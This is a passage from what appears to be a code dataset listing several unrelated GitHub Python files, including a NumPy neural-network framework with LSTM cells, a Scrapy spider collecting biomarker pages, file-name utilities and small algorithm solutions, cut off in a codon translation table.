input.mm(self.weight) + self.bias.expand(0, len(input.data))\n\n\nclass Sequential(Layer):\n    \"\"\"\n    Модель последовательного слоя, который осуществляет прямое распространение через список слоев,\n    когда выход одного слоя передается на вход следующего.\n    \"\"\"\n\n    def __init__(self, layers=list()):\n        super().__init__()\n\n        self.layers = layers\n\n    def add(self, layer):\n        self.layers.append(layer)\n\n    def forward(self, input):\n        for layer in self.layers:\n            input = layer.forward(input)\n        return input\n\n    def get_parameters(self):\n        params = list()\n        for layer in self.layers:\n            params += layer.get_parameters()\n        return params\n\n\nclass MSELoss(Layer):\n    \"\"\"\n    Loss-function layer - Mean Squared Error.\n    Слой с функцией потерь - среднеквадратическая ошибка.\n    \"\"\"\n\n    def __init__(self):\n        super().__init__()\n\n    def forward(self, prediction, target):\n        return ((prediction - target) * (prediction - target)).sum(0)\n\n\nclass Tanh(Layer):\n\n    def __init__(self):\n        super().__init__()\n\n    def forward(self, input):\n        return input.tanh()\n\n\nclass Sigmoid(Layer):\n\n    def __init__(self):\n        super().__init__()\n\n    def forward(self, input):\n        return input.sigmoid()\n\n\nclass Embedding(Layer):\n    \"\"\"\n    Слой векторного представления, который изучает векторные представления слов.\n    Слой должен инициализировать список (правильной длины) векторных представлений слов (правильного размера).\n\n    \"\"\"\n\n    def __init__(self, vocab_size, dim):\n        super().__init__()\n\n        self.vocab_size = vocab_size\n        self.dim = dim\n\n        # This random initialisation style is just a convention from word2vec\n        # Матрица содержит по одной строке (вектору) для каждого слова из словаря\n        weight = (np.random.rand(vocab_size, dim) - 0.5) / dim\n        self.weight = Tensor(weight, autograd=True)\n\n        self.parameters.append(self.weight)\n\n    def forward(self, input):\n        return self.weight.index_select(input)\n\n\nclass CrossEntropyLoss(Layer):  # TODO Describe this\n    \"\"\"\n    Теперь вычисление softmax и потерь производится в одном классе\n    \"\"\"\n\n    def __init__(self):\n        super().__init__()\n\n    def forward(self, input, target):\n        return input.cross_entropy(target)\n\n\nclass RNNCell(Layer):\n    \"\"\"\n    Рекуррентная нейронная сеть имеет вектор состояния, который передается из предыдущей итерации обучения в следующую.\n    В данном случае это переменная hidden, которая одновременно является входным параметром и выходным значением\n    функции forward.\n    Рекуррентная нейронная сеть имеет также несколько разных весовых матриц: одна отображает входные векторы в скрытые\n    (обработка входных данных), другая отображает скрытые векторы в скрытые векторы\n    (коррекция каждого скрытого вектора на основе предыдущего состояния)\n    и третья, необязательная, отображает скрытый слой в выходной, генерируя прогноз на основе скрытых векторов.\n    Наша реализация RNNCell включает все три матрицы.\n    Слой self .w_ih отображает входной слой в скрытый, self .w_hh — скрытый слой в скрытый и\n    self .w_ho — скрытый слой в выходной.\n    Обратите внимание на размерности всех трех матриц.\n    Оба размера — n_input матрицы self .w_ih и n_output матрицы self .w_ho — определяются размером словаря.\n    Все остальные размеры определяются параметром n_hidden.\n    Параметр activation определяет нелинейную функцию для применения к скрытым векторам в каждой итерации.\n    \"\"\"\n\n    def __init__(self, n_inputs, n_hidden, n_output, activation=\"sigmoid\"):\n        super().__init__()\n\n        self.n_inputs = n_inputs\n        self.n_hidden = n_hidden\n        self.n_output = n_output\n\n        if activation == \"sigmoid\":\n            self.activation = Sigmoid()\n\n        elif activation == \"tanh\":\n            self.activation = Tanh()\n\n        else:\n            raise Exception(\"Non-linearity not found\")\n\n        self.w_ih = Linear(n_inputs, n_hidden)\n        self.w_hh = Linear(n_hidden, n_hidden)\n        self.w_ho = Linear(n_hidden, n_output)\n\n        self.parameters += self.w_ih.get_parameters()\n        self.parameters += self.w_hh.get_parameters()\n        self.parameters += self.w_ho.get_parameters()\n\n    def forward(self, input, hidden):\n\n        from_prev_hidden = self.w_hh.forward(hidden)\n        combined = self.w_ih.forward(input) + from_prev_hidden\n        new_hidden = self.activation.forward(combined)\n        output = self.w_ho.forward(new_hidden)\n        return output, new_hidden\n\n    def init_hidden(self, batch_size=1):\n        return Tensor(np.zeros((batch_size, self.n_hidden)), autograd=True)\n\n\nclass Words2Vectors:\n    identity = np.eye(5)\n    # print(f\"Вместо слов, мы должны передать индексы слов.\", \"\\n\", identity, \"\\n\")\n    # print(f\"Возвращает ту же матрицу, но заменит каждое число в исходной матрице соответствующей строкой. \\n\"\n    # f\"Так, двумерная матрица индексов превратится в трехмерную матрицу векторных представлений (строк). \\n\",\n    # identity[np.array([[1, 2, 3, 4],\n    # [2, 3, 4, 0],\n    # [4, 3, 2, 1]])])\n\n\nclass LSTMCell(Layer):\n    \"\"\"\n    Слой долгой краткосрочной памяти LSTM.\n    LSTM создает следующее скрытое состояние, копируя предыдущее, а затем\n    добавляет или удаляет информацию по мере необходимости. Для добавления\n    и удаления информации LSTM использует механизмы, которые называют\n    вентилями, или фильтрами (gate).\n    \"\"\"\n\n    def __init__(self, n_inputs, n_hidden, n_output):\n        super().__init__()\n\n        self.n_inputs = n_inputs\n        self.n_hidden = n_hidden\n        self.n_output = n_output\n\n        self.xf = Linear(n_inputs, n_hidden)\n        self.xi = Linear(n_inputs, n_hidden)\n        self.xo = Linear(n_inputs, n_hidden)\n        self.xc = Linear(n_inputs, n_hidden)\n\n        self.hf = Linear(n_hidden, n_hidden)\n        self.hi = Linear(n_hidden, n_hidden)\n        self.ho = Linear(n_hidden, n_hidden)\n        self.hcell = Linear(n_hidden, n_hidden)\n\n        self.w_ho = Linear(n_hidden, n_output)\n\n        self.parameters += self.xf.get_parameters()\n        self.parameters += self.xi.get_parameters()\n        self.parameters += self.xo.get_parameters()\n        self.parameters += self.xc.get_parameters()\n\n        self.parameters += self.hf.get_parameters()\n        self.parameters += self.hi.get_parameters()\n        self.parameters += self.ho.get_parameters()\n        self.parameters += self.hcell.get_parameters()\n\n        self.parameters += self.w_ho.get_parameters()\n\n    def forward(self, input, hidden):\n        \"\"\"\n        Логика прямого распространения в ячейке LSTM:\n        Ячейка LSTM имеет два вектора со скрытым состоянием: h (от англ. hidden — скрытый) и cell.\n        Каждое новое значение является суммой предыдущего значения и приращения 'и', взвешенных весами 'f' и 'i'.\n        Здесь f — это «забывающий» («forget») вентиль (фильтр).\n        Если этот вес получит значение 0, новая ячейка «забудет» то, что видела прежде.\n        Если i получит значение 1, приращение 'и' будет полностью добавлено в новую ячейку.\n        Переменная 'о' — это выходной вентиль (фильтр), который определяет,\n        какая доля состояния ячейки попадет в прогноз.\n        Например, если все значения в о равны нулю, тогда строка self.w_ho.forward(h)\n        вернет прогноз, полностью игнорируя состояние ячейки.\n\n        Они действуют вместе и гарантируют, что для корректировки информации, хранящейся в cell,\n        не потребуется применять матричное умножение или нелинейную функцию активации.\n        Иначе говоря, избавляют от необходимости вызывать nonlinearity(cell) или cell.dot(weights).\n\n        Такой подход позволяет модели LSTM сохранять информацию на протяжении\n        временной последовательности, не беспокоясь о затухании или взрывном росте\n        градиентов. Каждый шаг заключается в копировании (если f имеет ненулевое\n        значение) и прибавлении приращения (если i имеет ненулевое значение).\n        Скрытое значение h — это замаскированная версия ячейки, используемая для получения прогноза.\n        Обратите также внимание, что все три вентиля формируются совершенно одинаково.\n        Они имеют свои весовые матрицы, но каждый зависит от входных\n        значений и скрытого состояния, пропущенных через функцию sigmoid.\n        Именно эта нелинейная функция sigmoid делает их полезными в качестве вентилей,\n        преобразуя в диапазон от 0 до 1.\n\n        И последнее критическое замечание в отношении вектора h. Очевидно, что он\n        все еще подвержен эффекту затухания и взрывного роста градиентов, потому\n        что фактически используется так же, как в простой рекуррентной нейронной\n        сети. Во-первых, поскольку вектор h всегда создается из комбинации векторов,\n        которые сжимаются с помощью tanh и sigmoid, эффект взрывного роста градиентов\n        на самом деле отсутствует — проявляется только эффект затухания. Но\n        в итоге в этом нет ничего страшного, потому что h зависит от ячейки cell, которая\n        может переносить информацию на дальние расстояния: ту информацию, которую\n        затухающие градиенты не способны переносить. То есть вся перспективная\n        информация транспортируется с помощью cell, a h — это всего лишь локальная\n        интерпретация cell, удобная для получения прогноза на выходе и активации\n        вентилей на следующем шаге. Проще говоря, способность с переносить информацию\n        на большие расстояния нивелирует неспособность h к тому же самому.\n        \"\"\"\n        prev_hidden = hidden[0]\n        prev_cell = hidden[1]\n\n        # 3 вентиля f,i,o и вектор приращений u:\n        # Механизм управления забыванием (forget).\n        f = (self.xf.forward(input) + self.hf.forward(prev_hidden)).sigmoid()\n        # Механизм управления вводом (input).\n        i = (self.xi.forward(input) + self.hi.forward(prev_hidden)).sigmoid()\n        # Механизм управления выводом (output).\n        o = (self.xo.forward(input) + self.ho.forward(prev_hidden)).sigmoid()\n        # Механизм управления изменением (update).\n        u = (self.xc.forward(input) + self.hcell.forward(prev_hidden)).tanh()\n\n        cell = (f * prev_cell) + (i * u)\n        h = o * cell.tanh()\n        output = self.w_ho.forward(h)\n\n        return output, (h, cell)\n\n    def init_hidden(self, batch_size=1):\n        init_h = Tensor(np.zeros((batch_size, self.n_hidden)), autograd=True)\n        init_cell = Tensor(np.zeros((batch_size, self.n_hidden)), autograd=True)\n        init_h.data[:, 0] += 1\n        init_cell.data[:, 0] += 1\n        return init_h, init_cell\n","repo_name":"NikkiFRTL/deep_learning","sub_path":"Framework_Code.py","file_name":"Framework_Code.py","file_ext":"py","file_size_in_byte":29760,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43807057669","text":"import logging\nfrom datetime import datetime, timedelta\nfrom functools import wraps\n\nlog: logging.Logger = logging.getLogger(\"timer\")\n\n\ndef print_elapsed_time(func):\n    \"\"\"\n    함수 실행 시간을 로그로 출력하는 데코레이터\n    :param func:  함수\n    :return:      함수 실행 시간을 로그로 출력\n    \"\"\"\n\n    @wraps(func)\n    def wrapper(**kwargs):\n        start = datetime.now()\n        log.info(f\"start: {start}\")\n\n        # 함수 실행\n        result = func(**kwargs)\n\n        # 현재 Epoch time 얻기\n        end = datetime.now()\n        log.info(f\"end: {end}\")\n\n        elapsed_time: timedelta = (end - start)\n        formatted_elapsed_time = \"{:.3f}\".format(elapsed_time.total_seconds())\n        log.info(\n            f\"Elapsed time for function: {formatted_elapsed_time} s\")\n\n        return result\n\n    return wrapper\n","repo_name":"autowini/htmltopdf","sub_path":"libs/perf.py","file_name":"perf.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11153287706","text":"from skimage.io import imread\nfrom skimage.filters import threshold_otsu\nimport matplotlib.pyplot as plt\n\ncar_image = imread(\"test\\car1.jpg\", as_grey=True)\n# it should be a 2 dimensional array\nprint(car_image.shape)\n\n# the next line is not compulsory however, a grey scale pixel\n# in skimage ranges between 0 & 1. multiplying it with 255\n# will make it range between 0 & 255 (something we can relate better with\n\ngray_car_image = car_image * 255\nfig, (ax1, ax2) = plt.subplots(1, 2)\nax1.imshow(gray_car_image, cmap=\"gray\")\nthreshold_value = threshold_otsu(gray_car_image)\nbinary_car_image = gray_car_image > threshold_value\nax2.imshow(binary_car_image, cmap=\"gray\")\nplt.show()","repo_name":"Danushka96/lpr","sub_path":"localization.py","file_name":"localization.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"23863755431","text":"from scrapy.http import Request\nfrom scrapy import Spider\nfrom bs4 import BeautifulSoup\nimport logging\nfrom HealthMatters.items import HealthmattersItem\nfrom scrapy.conf import settings\nimport pymongo\nimport re\n\nlogger = logging.getLogger('来一碗粿条')\n\nclass HealthSpider(Spider):\n\n    def __init__(self):\n        client = pymongo.MongoClient(host=settings['MONGO_HOST'], port=settings['MONGO_PORT'])\n        db = client[settings['MONGO_DB']]\n        self.coll = db[settings['MONGO_COLL']]\n\n    name = 'health'\n    allowed_domains = ['www.healthmatters.io']\n    global base_url\n    base_url = 'https://www.healthmatters.io'\n\n    def start_requests(self):\n        url = 'https://www.healthmatters.io/biomarker-categories'\n        yield Request(url, self.parse)\n\n    def parse(self, response):\n        global base_url\n        soup = BeautifulSoup(response.text, 'lxml')\n        categories_list = soup.find('div', id='categories_list').find_all('div', class_='item category-item')\n        for cate_item in categories_list:\n            link = cate_item.find('a', class_='link')['href']\n            url = base_url + link\n            # print(url)\n            yield Request(url, self.get_component_url)\n\n    def get_component_url(self, response):\n        global base_url\n        soup = BeautifulSoup(response.text, 'lxml')\n        main_item_headers = soup.find_all('div', class_='main_item-header')\n        for header in main_item_headers:\n            link = header.find('a')['href']\n            url = base_url + link\n            yield Request(url, self.get_info)\n\n    def get_info(self, response):\n        item = HealthmattersItem()\n        soup = BeautifulSoup(response.text, 'lxml')\n        title = soup.find('div', class_='desc-element_header').find('h1').get_text()\n        item['url'] = response.url\n        if self.coll.find_one({'title': title}):  # 去重\n            logger.info('%s 已经爬过了！', title)\n            return None\n        normal_split_list = self.get_normal_range(soup)\n        # print(title)\n        item['title'] = title\n        item['normal_range'] = normal_split_list\n        # print(normal_split_list)\n        try:\n            def_raw = soup.find('div', class_='desc-element_content text-left').find_all('p')[1].get_text().strip()\n        except IndexError:\n            # logger.warning(e)\n            yield item\n            return None  # 没有定义，直接return\n        else:\n            if def_raw[-1] == ':':  # 若以:结尾\n                definition = '.'.join(def_raw.split('.')[:-1]) + '.'  # 用英文句号分割段落，去掉最后一句，再用英文句号连接列表\n            else:\n                definition = def_raw\n            item['definition'] = definition\n            # yield item # test\n        expla = self.get_explanation(soup)\n        if expla:\n            for k, v in expla.items():\n                item[k] = v\n        yield item\n        \n    def get_explanation(self, soup):\n        info_items = soup.find_all('div', class_='info_item')\n        explanations = dict()\n        cate_count = 0  # 0表示过低，1表示过高\n        for info_item in info_items:\n            try:\n                first_p = info_item.find('div', class_='info_text').find('p')\n                p_next_siblings = first_p.next_siblings\n            except AttributeError:\n                logger.warning('p tags not found !')\n            else:\n                element_list = [first_p]\n                for sibling in p_next_siblings:\n                    element_list.append(sibling)\n                expla_text = ''\n                cate = 'low' if cate_count == 0 else 'high'\n                special = ''\n                for sibling in element_list:  # 5 种数据：一般 p 文本，ul 列表，drugs，causes，states\n                    if sibling.name == 'p':\n                        if 'causes' in sibling.get_text() and ':' in sibling.get_text():\n                            # print('---原因字段存在---')\n                            sentence_list = sibling.get_text()[:-1].split('.')\n                            sentence_num = len(sentence_list)\n                            last_sen = sentence_list[-1]\n                            if 'causes' in last_sen and sentence_num > 2:  # 除去最后一句\n                                expla_text += '.'.join(sentence_list[:-1]) + ' '\n                            special = 'causes'\n                            explanations[cate + '_' + special] = []\n                        elif 'states' in sibling.get_text() and ':' in sibling.get_text():\n                            # print('---状态字段存在---')\n                            special = 'states'\n                            explanations[cate + '_' + special] = []\n                        elif 'drugs' in sibling.get_text().lower() and ':' in sibling.get_text():\n                            # print('---药物字段存在---')\n                            special = 'drugs'\n                            explanations[cate + '_' + special] = []\n                        elif special and re.findall(r'\\W', sibling.get_text().strip()[0]):  # special 字段存在且句子的第一个字符不是字母\n                            explanations[cate + '_' + special].append(sibling.get_text().strip())\n                        else:\n                            expla_text += sibling.get_text().strip() + ' '\n                    elif sibling.name == 'ul':\n                        print('---无符号列表存在---')\n                        if special:  # special 已被赋值\n                            explanations[cate + '_' + special] = []\n                            for li in sibling.find_all('li'):\n                                explanations[cate + '_' + special].append(li.get_text().strip())\n                        else:\n                            li_list = [li.get_text().strip() for li in sibling.find_all('li')]\n                            temp = ', '.join(li_list) if ',' not in ''.join(li_list) else ' '.join(li_list)\n                            expla_text += temp\n                if expla_text:\n                    explanations[cate] = expla_text\n            finally:\n                cate_count += 1\n        return explanations\n\n    def get_normal_range(self, soup):\n        normal_range_raw = soup.find('div', class_='desc-element_content text-left').find('b').get_text().split('\\n')\n        normal_range = [i.strip() for i in normal_range_raw[2:] if i.strip() and i.strip() != 'or']\n        normal_range_res = list(map(self.remove_c, normal_range))\n        normal_split_list = list(map(self.split_unit, normal_range_res))\n        return normal_split_list\n\n    def remove_c(self, x):\n        return x[:-1] if x[-1] in [',', '.'] else x  # 处理『9.58 - 405.306 mcg/dL,』等类似情况\n\n    def split_unit(self, x):\n        i = -1\n        while(True):  # 为「60 - 120 mL/min per 1.73 m2.」等类似情况而设计\n            split_list = x.split(' ')\n            if -i > len(split_list):\n                unit = split_list[-1]\n                break\n            temp = split_list[i:]\n            unit = ' '.join(temp)\n            if '/' in unit and '/' not in ''.join(split_list[:i]):  # 为「0 - 30 ng/dL per ng/mL/hr」等类似情况而设计\n                break\n            else:\n                i = i - 1\n        # print(unit)\n        range_num = x.replace(unit, '').strip()\n        # print(range_num)\n        return [range_num, unit]\n        \n","repo_name":"xfffrank/Scrapy","sub_path":"HealthMatters/HealthMatters/spiders/health.py","file_name":"health.py","file_ext":"py","file_size_in_byte":7423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70787692352","text":"\nimport re\nfrom typing import List, Tuple\n\n#ENG_STOPWORDS = [\"and\", \"in\", \"of\", \"the\"]\n#DOMAIN_STOPWORDS = [\n#                    \"audio\",\n#                    \"loops\",\n#                    \"music\",\n#                    \"records\",\n#                    \"samples\",\n#                    \"sound\",\n#                    \"sounds\",\n#                    \"studio\",\n#                    \"studios\"\n#                    ]\n\n\nclass NameUtility:\n\n    @staticmethod\n    def name_is_canonical(name: str) -> bool:\n        \"\"\"\n        Returns True if asset FS name conforms to <Publisher> - <Title> naming convention.\n        \"\"\"\n        name = name.replace(\".rar\", \"\")\n        return all([\n            len(name.split(\" - \")) > 1,\n            not name.startswith(\" \"),\n            not name.endswith(\" \"),\n            not any([\".\" in name,\n                    \"  \" in name\n                    ])\n            ])\n\n    @staticmethod\n    def divide_cname(cname: str) -> Tuple[str]:\n        \"\"\"\n        Return tuple of Label, Title and Note components of a canonical name.\n        Input can be asset root directory name or name of asset archive file.\n        \"\"\"\n        if cname.endswith(\".rar\"):\n            cname = cname.replace(\".rar\", \"\")\n        parts = cname.split(\" - \")\n        label, title = parts[0], \" - \".join(parts[1:])\n        if \" (\" in title and title.endswith(\")\"):\n            note = title.split(\" (\")[-1][:-1]\n            title = title.replace(f\" ({note})\", \"\")\n        else:\n            note = \"\"\n        return (label, title, note)\n    \n    @staticmethod\n    def file_extension(fname: str) -> str:\n        ext = fname.split(\".\")[-1]\n        if any([ext == \"\",\n                ext == fname,\n                \" \" in ext,\n                any([f\"{_p}{ext}\" == fname for _p in [\".\", \"_.\", \"._.\"]])\n                    ]):\n            return \"\"\n        return ext\n\n    @staticmethod\n    def cname_tokens(cname: str) -> List[str]:\n        tokens, parts = [], NameUtility.divide_cname(cname)\n        for _part in parts:\n            tokens += _part.split(\" \")\n        return tokens\n\n    @staticmethod\n    def label_dir_from_cname(cname: str) -> str:\n        \"\"\"\n        Return the name of the label directory associated with a canonically-named asset.\n        \"\"\"\n        return cname.split(\" - \")[0].lower().replace(\" \", \"_\")\n\n    @staticmethod\n    def cname_from_asset_path(asset_path: str) -> str:\n        \"\"\"\n        asset_path can be asset directory or asset archive\n        \"\"\"\n        cname = asset_path.split(\"/\")[-1]\n        return cname[:-4] if cname.endswith(\".rar\") else cname\n\n    @staticmethod\n    def title_has_media_type_label(title: str) -> bool:\n        return any([_l in title for _l in [\" CDM\", \"CDR\", \"CDS\", \" MCD\", \" EP\", \" LP\"]])\n\n    @staticmethod\n    def drop_media_type_labels(self, title: str) -> str:\n        PATTERNS = [\n            r\"\\b(MCD|CD(M|M?S|R))\\d?\\b\",\n            r\"\\b[EL]P\\d?\\b\"\n        ]\n        for _p in PATTERNS:\n            title = re.sub(_p, \"\", title)\n        return title\n\n\nclass Variations(NameUtility):\n\n    def name_variations(self, name: str) -> List[str]:\n        if \" - \" in name:\n            names = [name.replace(\" - \", \" \")]\n            for part in name.split(\" - \"):\n                names.append(part)\n        else:\n            names = [name]\n        alt_spaces = [_a for _alts in\n                       [self.insert_optional_spaces(_n)\n                       for _n in names]\n                       for _a in _alts]\n        stripped = [_a for _alts in\n                    [self.strip_stopwords(_n) \n                    for _n in names\n                    if self.strip_stopwords(_n) != _n]\n                    for _a in _alts]\n        return names + alt_spaces + stripped\n\n    def stub_forms(self, variations: List[str]) -> List[str]:\n        \"\"\"\n        Returns common stub forms of <name>, in whole and parts if applicable.\n        \"\"\"\n        forms = []\n        for _v in variations:\n            forms += self.join_tokens(self.tokenize(_v))\n        return forms\n    \n    #def insert_optional_spaces(self, name: str) -> str:\n    #    allowed = [(\"drumkit\", \"drum kit\"),\n    #               (\"hiphop\", \"hip hop\"),\n    #               (\"lofi\", \"lo fi\")\n    #               ]\n    #    for _t in allowed:\n    #        if _t[0] in name:\n    #            name = name.replace(_t[0], _t[1])\n#\n    #def tokenize(self, name: str) -> List[str]:\n    #    \"\"\"\n    #    Returns list of tokens from a publisher or product name.\n    #    \"\"\"\n    #    if \" - \" in name:\n    #        name = name.replace(\" - \", \" \")\n    #    return name.lower().split(\" \")\n    #   \n    #def join_tokens(self, tokens: List[str], connectors=[\"\", \"-\"]) -> List[str]:\n    #    \"\"\"\n    #    Returns the string formed by joining <tokens> with a given connector, for each connector in connectors.\n    #    \"\"\"\n    #    if len(tokens) == 1:\n    #        return tokens\n    #    output = []\n    #    for _c in connectors:\n    #        output.append(_c.join(tokens))\n    #    return output\n    #\n    #def drop_stopwords(self, tokens: List[str]):\n    #    \"\"\"\n    #    Returns <tokens> without any members also found in a stopwords list.\n    #    \"\"\"\n    #    to_drop = ENG_STOPWORDS + DOMAIN_STOPWORDS\n    #    return [_t for _t in tokens if _t not in to_drop]\n#\n    #def strip_stopwords(self, text: str):\n    #    \"\"\"\n    #    Returns <text> with all stopwords removed.\n    #    \"\"\"\n    #    tokens = text.split(\" \")\n    #    tokens = self.drop_stopwords(tokens)\n    #    return \" \".join(tokens)","repo_name":"plan-do-break-fix/sonicat","sub_path":"util/NameUtility.py","file_name":"NameUtility.py","file_ext":"py","file_size_in_byte":5497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10672729804","text":"def who_goes_free(n, k):\n    prisinors = list(range(n))\n    k -= 1\n    kill_s = k\n    if n == 1:\n        print(1)\n    else:\n        while len(prisinors) > 1:\n            prisinors.pop(kill_s)\n            kill_s = (kill_s + k) % len(prisinors)\n            print(prisinors)\n        print('survivor: ', prisinors[0])\n\n\nn = int(input(\": \"))\nk = int(input(\": \"))\nwho_goes_free(n, k)\n\n","repo_name":"oguzhanun/10_PythonProjects","sub_path":"hf/permutation.py","file_name":"permutation.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19067614630","text":"import json\n\nimport requests\n\n\ndef delete_movie(user_id, movie_id):\n    assert isinstance(user_id, str), \"user_id must be a string\"\n    assert isinstance(movie_id, int), \"movie_id must be a int\"\n\n    with open(\"src/static/data/deleted.json\", \"r\") as f:\n        data = json.load(f)\n\n    if user_id in data:\n        if movie_id not in data[user_id][\"deleted_movies\"]:\n            data[user_id][\"deleted_movies\"].append(movie_id)\n    else:\n        data[user_id] = {\"deleted_movies\": [movie_id]}\n\n    with open(\"src/static/data/deleted.json\", \"w\") as f:\n        json.dump(data, f)\n\n    return True\n\n\ndef is_deleted(user_id, movie_id):\n    assert isinstance(user_id, str), \"user_id must be a string\"\n    assert isinstance(movie_id, int), \"movie_id must be a int\"\n\n    with open(\"src/static/data/deleted.json\", \"r\") as f:\n        data = json.load(f)\n\n    if user_id in data:\n        if movie_id in data[user_id][\"deleted_movies\"]:\n            return True\n    return False\n\n\ndef get_liked_movies(movies, url, api_key, session_id, user_id):\n    response = requests.get(f\"{url}/account/{user_id}/favorite/movies\", params={\n        'api_key': api_key,\n        'session_id': session_id,\n    })\n    favourite_movies = response.json()['results']\n\n    for movie in movies:\n        movie['liked'] = False\n        for favourite_movie in favourite_movies:\n            if favourite_movie['id'] in movie.values():\n                movie['liked'] = True\n\n    return movies\n","repo_name":"Elias-Dams/Distributed-Systems-api","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42451510336","text":"import os\nimport sys\nimport re\n\ninp_fp = open(sys.argv[1])\ncutoff = int(sys.argv[2])\nout_fp = open(sys.argv[3], \"w\")\n\nfor line in inp_fp:\n    d_loc = [m.start() for m in re.finditer(\"\\t\", line)]\n    footprint_str = line[d_loc[10] + 1:d_loc[11]] \n    after_cutoff = []\n    cnt_flag = 0\n    cnt = 0\n    for c in footprint_str:\n        if c == \"F\":\n            cnt_flag +=1\n            after_cutoff.append(c)\n        else:\n            if cnt_flag >=cutoff:\n                after_cutoff.append(c)\n                cnt_flag = 0\n            elif cnt_flag == 0:\n                after_cutoff.append(c)\n            else:\n                for i in range(cnt - cnt_flag - 1, cnt):\n                    after_cutoff[i] = \".\"\n                cnt_flag = 0\n                after_cutoff.append(c)\n        cnt += 1\n    if (cnt_flag !=0) and cnt_flag <cutoff:\n        for i in range(len(footprint_str) - cnt_flag - 1, len(footprint_str)):\n            after_cutoff[i] = \".\" \n    to_write = line [0:d_loc[10]] + \"\\t\" + \"\".join(after_cutoff) + \"\\t\" + line[d_loc[11] + 1:]\n    out_fp.write(to_write)\n    \ninp_fp.close() \nout_fp.close()\n","repo_name":"satyanarayan-rao/protein_binding_at_enhancers","sub_path":"scripts/keep_all_footprint_ge_th.py","file_name":"keep_all_footprint_ge_th.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"38529942168","text":"from collections import defaultdict\n\n\nclass Solution:\n    def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n        graph = defaultdict(list)\n\n        for u, v in prerequisites: graph[u].append(v)\n\n        visited = [0] * numCourses\n\n        def dfs(i):\n            if visited[i] == 1: return False\n            if visited[i] == 2: return True\n\n            visited[i] = 1\n\n            for j in graph[i]:\n                if not dfs(j): return False\n\n            visited[i] = 2\n\n            return True\n\n        for i in range(numCourses):\n            if not dfs(i): return False\n\n        return True\n","repo_name":"CrazySquirrel/Outtalent","sub_path":"Leetcode/207. Course Schedule/solution2.py","file_name":"solution2.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"60"}
+{"seq_id":"41584827215","text":"from itertools import product, combinations\r\n\r\ntranslation_table = {\r\n    \"TTT\": \"F\",\r\n    \"TCT\": \"S\",\r\n    \"TAT\": \"Y\",\r\n    \"TGT\": \"C\",\r\n    \"TTC\": \"F\",\r\n    \"TCC\": \"S\",\r\n    \"TAC\": \"Y\",\r\n    \"TGC\": \"C\",\r\n    \"TTA\": \"L\",\r\n    \"TCA\": \"S\",\r\n    \"TAA\": \"*\",\r\n    \"TGA\": \"*\",\r\n    \"TTG\": \"L\",\r\n    \"TCG\": \"S\",\r\n    \"TAG\": \"*\",\r\n    \"TGG\": \"W\",\r\n    \"CTT\": \"L\",\r\n    \"CCT\": \"P\",\r\n    \"CAT\": \"H\",\r\n    \"CGT\": \"R\",\r\n    \"CTC\": \"L\",\r\n    \"CCC\": \"P\",\r\n    \"CAC\": \"H\",\r\n    \"CGC\": \"R\",\r\n    \"CTA\": \"L\",\r\n    \"CCA\": \"P\",\r\n    \"CAA\": \"Q\",\r\n    \"CGA\": \"R\",\r\n    \"CTG\": \"L\",\r\n    \"CCG\": \"P\",\r\n    \"CAG\": \"Q\",\r\n    \"CGG\": \"R\",\r\n    \"ATT\": \"I\",\r\n    \"ACT\": \"T\",\r\n    \"AAT\": \"N\",\r\n    \"AGT\": \"S\",\r\n    \"ATC\": \"I\",\r\n    \"ACC\": \"T\",\r\n    \"AAC\": \"N\",\r\n    \"AGC\": \"S\",\r\n    \"ATA\": \"I\",\r\n    \"ACA\": \"T\",\r\n    \"AAA\": \"K\",\r\n    \"AGA\": \"R\",\r\n    \"ATG\": \"M\",\r\n    \"ACG\": \"T\",\r\n    \"AAG\": \"K\",\r\n    \"AGG\": \"R\",\r\n    \"GTT\": \"V\",\r\n    \"GCT\": \"A\",\r\n    \"GAT\": \"D\",\r\n    \"GGT\": \"G\",\r\n    \"GTC\": \"V\",\r\n    \"GCC\": \"A\",\r\n    \"GAC\": \"D\",\r\n    \"GGC\": \"G\",\r\n    \"GTA\": \"V\",\r\n    \"GCA\": \"A\",\r\n    \"GAA\": \"E\",\r\n    \"GGA\": \"G\",\r\n    \"GTG\": \"V\",\r\n    \"GCG\": \"A\",\r\n    \"GAG\": \"E\",\r\n    \"GGG\": \"G\",\r\n}\r\n\r\n# nomenclature for degenerate codons\r\nexpanded_code = {\r\n    \"A\": [\"A\"],\r\n    \"C\": [\"C\"],\r\n    \"G\": [\"G\"],\r\n    \"T\": [\"T\"],\r\n    \"W\": [\"A\", \"T\"],\r\n    \"S\": [\"C\", \"G\"],\r\n    \"M\": [\"A\", \"C\"],\r\n    \"K\": [\"G\", \"T\"],\r\n    \"R\": [\"A\", \"G\"],\r\n    \"Y\": [\"C\", \"T\"],\r\n    \"B\": [\"C\", \"G\", \"T\"],\r\n    \"D\": [\"A\", \"G\", \"T\"],\r\n    \"H\": [\"A\", \"C\", \"T\"],\r\n    \"V\": [\"A\", \"C\", \"G\"],\r\n    \"N\": [\"A\", \"C\", \"G\", \"T\"],\r\n}\r\n\r\n# helpful for validating input\r\nvalid_nucleotides = \"ACGTWSMKRYBDHVN\"\r\nvalid_aa = \"GAVLIMFWPSTCYNQDEKRH*\"\r\n\r\n# WE WILL BE PRE-COMPUTING AN EXPANDED TRANSLATION TABLE, SO IT CAN BE REUSED FOR REPEAT CALLS OF THE FUNCTION\r\n# There are only 3375 